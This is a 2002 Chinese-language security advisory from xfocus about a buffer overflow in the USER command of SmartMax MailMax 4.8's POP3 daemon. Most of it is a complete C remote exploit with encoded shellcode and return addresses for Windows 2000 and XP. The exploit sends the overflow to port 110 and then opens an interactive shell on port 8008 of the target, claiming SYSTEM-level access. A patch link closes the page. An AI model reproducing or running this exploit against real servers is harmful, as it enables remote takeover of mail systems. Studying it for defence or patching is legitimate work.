xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SmartMax MailMax Popmax存在缓冲溢出漏洞


发布时间:2002-07-26
更新时间:2002-07-26
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:5285

受影响系统
SmartMax Software MailMax 4.8
详细描述
MailMax存在缓冲溢出,攻击者可以通过攻击POP3守护程序popmax,由于popmax对用户提交的'USER'命令缺少正确的边界检查,提交超长的字符串作为参数给USER命令并发送给Popmax处理,可导致缓冲溢出,存在执行任意代码的可能。

测试代码
/*

    mmaxexp.c

    July 20th, 2002



    SmartMax MailMax Standard/Professional 4.8

    http://www.smartmax.com

    

    an overflow is present in the USER argument of

    the pop3max daemon.. however, we do not get eip..

    but with buffers of various sizes we can get

    eax, ecx, and edx.. edx being the most useful as

    shown below..

    

    CALL [EDX+0C] @RVA413A08



    so now we just need to drop the rva of our shell

    that we'd like to call into memory somewhere

    (-0C of course)..see CALL



    YAY!@$!

    

    2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)        

*/

    

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/errno.h>

#include <unistd.h>



/* Windows 2000 Professional/Server */

char EDX2k[]  = "\x30\xd7\x68\x06";

char CALL2k[] = "\xec\xd9\x68\x06";



/* Windows XP Professional */

char EDXxp[]  = "\x30\xd7\x25\x06";

char CALLxp[] = "\xec\xd9\x25\x06";



/* we repeat the payload ptr on every */

/* dword prior to our target rva in   */

/* order to increase those sexy odds  */



char shell[2205];



char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";



char payload[] ="\x55\x8b\xec"

        "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"

        "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"

        "\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"

        "\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"

        "\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"

        "\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"

        "\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"

        "\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"

        "\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"

        "\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"

        "\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"

        "\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"

        "\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"

        "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"

        "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"

        "\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"

        "\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"

        "\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"

        "\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"

        "\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"

        "\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"

        "\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"

        "\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"

        "\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"

        "\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"

        "\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"

        "\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"

        "\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"

        "\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"

        "\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"

        "\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"

        "\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"

        "\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"

        "\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"

        "\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"

        "\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"

        "\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"

        "\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"

        "\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"

        "\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"

        "\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"

        "\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"

        "\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"

        "\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"

        "\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"

        "\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"

        "\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"

        "\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"

        "\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"

        "\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"

        "\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"

        "\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"

        "\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"

        "\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"

        "\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"

        "\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"

        "\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"

        "\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"

        "\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"

        "\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"

        "\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"

        "\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"

        "\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"

        "\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"

        "\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"

        "\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"

        "\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"

        "\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"

        "\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"

        "\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"

        "\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"

        "\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"

        "\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"

        "\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"

        "\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"

        "\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"

        "\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

        "\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"

        "\x0d\x0a";



main(char argc, char **argv){

        int fd, i, opt;

        int bufsize = 1024;

        int *buffer = (int *)malloc(bufsize);

        struct sockaddr_in sin;

        struct hostent *he;

        struct in_addr in;



    printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");

    printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");



        if (argc < 4){

                printf("usage: %s <hostname> -t <type>\n\n", argv[0]);

                printf("types: 0 - Windows 2000 Professional/Server\n");

                printf("       1 - Windows XP Professional\n\n");

                exit(-1);

        }



        while ((opt = getopt(argc, argv, "t:"))){

            switch(opt){

                case 't':

             if(optarg[0] == '0'){

                 strcpy(shell, header);

                 for(i = 1;i < 247;i++){

                     strcat(shell, CALL2k);

                 }

                 strcat(shell, EDX2k);

                 strcat(shell, payload);

                 break;

             }

            

             if(optarg[0] == '1'){

                 strcpy(shell, header);

                 for(i = 1; i < 247;i++){

                     strcat(shell, CALLxp);

                 }

                 strcat(shell, EDXxp);

                 strcat(shell, payload);

                 break;

             }

                        

                         printf("invalid type\n\n");

                         printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");

                         printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");

                         exit(-1);

                }

                break;

        }



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}

        else

        if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));

        sin.sin_port = htons(110);



        printf("connecting to tcp port 110 (POP3)...\n");

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}



        printf("connected.\n\n");

    sleep(1);

        printf("dumping payload...");

        if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}

    printf("done\n");

    printf("code dumped.\n\n");



        close(fd);



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(argv[1]);

        sin.sin_port = htons(8008);



        printf("connecting to tcp port 8008... (wait 3s)\n");

        sleep(3);

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}

        printf("success! izn0wnz3rat3d!\n\n");



        while(1) {

                fd_set input;



                FD_SET(0,&input);

                FD_SET(fd,&input);

                if((select(fd+1,&input,NULL,NULL,NULL))<0) {

                        if(errno==EINTR) continue;

                        printf("connection reset\n"); fflush(stdout);

                        exit(1);

                }

                if(FD_ISSET(fd,&input))

                        write(1,buffer,read(fd,buffer,bufsize));

                if(FD_ISSET(0,&input))

                        write(fd,buffer,read(0,buffer,bufsize));

        }



        close(fd);



}

解决方案
2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>提供如下补丁:
http://online.securityfocus.com/data/vulnerabilities/exploits/mmpatch.zip

相关信息
2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>.
参考:http://online.securityfocus.com/archive/1/283749
相关主页:http://www.smartmax.com/mailmax.asp